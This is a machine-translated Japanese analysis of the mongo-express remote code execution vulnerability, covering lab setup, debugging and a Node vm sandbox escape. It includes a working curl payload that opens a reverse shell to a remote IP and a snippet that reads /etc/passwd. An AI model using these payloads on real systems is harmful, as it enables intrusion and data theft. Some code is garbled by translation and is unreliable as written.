mongo-express は、NodeJS、Express、および Bootstrap3 を使用して記述された MongoDB Admin Web 管理インターフェイスです。現在、mongo-express は、Github で最も多くのスターを獲得している MongoDB 管理管理インターフェイスであるはずです。導入が簡単で使いやすいため、mongo を管理するために多くの人に選ばれています。
GitHub の公式セキュリティ発表を読んで、この脆弱性は 0.54.0 より前のすべてのバージョンに影響します。テスト用の例として 0.49 を選択しました。この脆弱性環境には MongoDB データベースも必要なので、次の docker コマンドを実行することですぐに構築できます:
MongoDB データベースの構築<br>
docker run --name test -d mongo:3.2
脆弱性を含む mongo-express をビルドし、上記の MongoDB データベースに接続します。 <br>
##docker restart 183
docker exec -it 183 bash を使用して docker に接続し、デバッグ サービスが有効かどうかを確認します。
をオンにします。上の図に示すように、ポート 9229 を開くだけです。外部ホストが 9229 ポートに接続できる限り、デバッグに chrome プラグインを使用できます。frp を使用してポートを転送するか、docker -p 9229:9229 パラメータを使用して処理できます。
0x3 Chrome DevTools
最初にデバッグ プラグインをダウンロードします
Chrome で開きます: Chrome devtools が 2016 年 5 月に Nodejs デバッグをサポートしていることを確認し、[Node 専用の DevTools を開く] をクリックします。
接続アドレスとポートの構成
次のステップは、js のデバッグと同様です
テスト パケットを送信すると、ルーティング ブランチが切断され、この脆弱性のデバッグを開始できます。
<br>
<br>
curl http://127.0.0.1:8081/checkValid -d 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" bash -i >& /dev/tcp/192.168.43.176/8003 0>&1 2>&1")'
##0x03 脆弱性のデバッグと原理分析
文字列は toBSON のパラメータです。BSON は MongoDB の一般的なデータ形式であり、JSON に近いものです。ただし、JSON のデータ形式とは多くの違いがありますが、新しいドキュメントの作成 (他のデータベースでの挿入操作と同様) など、mongo-express のすべての BSON 関連操作は toBSON() 関数を経由する必要があります。
たとえば、次の操作コードフローが bson.toBSON に到達すると、eval 関数がトリガーされます。バックエンド言語の eval 関数をサーバー側で実行すると、コマンド インジェクションが発生し、システムに損害を与える可能性があります。
<br>
<br>exp.checkValid = function (req, res) {var doc = req.body.document;try { bson.toBSON(doc);} catch (err) { console.error(err); return res.send('無効');}res.send('有効'); };
<br>
exports.toBSON = 関数 (文字列) { var サンドボックス = exports.getSandbox(); string = string.replace(/ISODate\(/g, 'new ISODate('); string = string.replace(/Binary\(("[^"] "),/g, 'Binary(new Buffer($1, "base64"),'); vm.runInNewContext('doc = eval((' string '));', サンドボックス); return Sandbox.doc;};
コードソース解析によると、toBSON のパラメータ文字列は req.body 内のドキュメントであるため、この部分を制御できます。仮想サンドボックスである vm.runInNewContext 関数が見つかります。したがって、次のセクションではサンドボックス保護をバイパスする方法を分析します。
サンドボックスは、実際の外部コードに影響を与えることなく、信頼されていないコードを安全に実行できる独立した環境です。多くの場合、コードの実行はサンドボックス内で制限されます。 VM モジュールは、VM 仮想マシンのコンテキストでコードをコンパイルおよび実行するための API を提供します。 VM モジュールを使用して、サンドボックス環境でコードを実行します。実行中のコードは異なる V8 コンテキストを使用します。つまり、そのグローバル変数は他のコードとは異なります。ただし、サンドボックス内のコードは引き続きノード プロセスにアクセスできます。私たちはこの方法をバイパスするためによく使用します。
vm.js
<br>
<br>
"use strict";const vm = require("vm");const xyz = vm.runInNewContext(` this.constructor.constructor('return this.process.env')()`);console.log(xyz);
this.process.env が表示されます。 nodejs プロセス情報が取得されます。これは、メイン プログラムに戻ってシステム コマンドを実行することが完全に可能であることを示しています。
JavaScript では、これはそれが属するオブジェクトを指しているため、これを使用すると、すでに VM コンテキストの外側のオブジェクトを指しています。次に、これにアクセスする .constructor は Object Constructor を返し、Object Constructor にアクセスする .constructor は Function コンストラクターを返します。関数コンストラクターは、グローバル アクセスを可能にする JavaScript の最上位関数のようなものです。 Function コンストラクターを使用すると、文字列から関数を生成して、任意のコードを実行できます。したがって、それを使用してメインプロセスに戻ることができます。これを使用してメイン プロセスにアクセスし、RCE を実行できます。
<br>
<br>
"厳密な使用";const vm = require("vm");const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);console.log(xyz);
同様に、vm2 関数もバイパスできます。 , 原文を参考に勉強しましょうhttps://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
ここでは、すべてを説明する 2 つの図を示します。mongo-query-parser を使用して BSON データを解析し、ソースから直接置き換えます。
以上がリモートコード実行の脆弱性事例分析の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。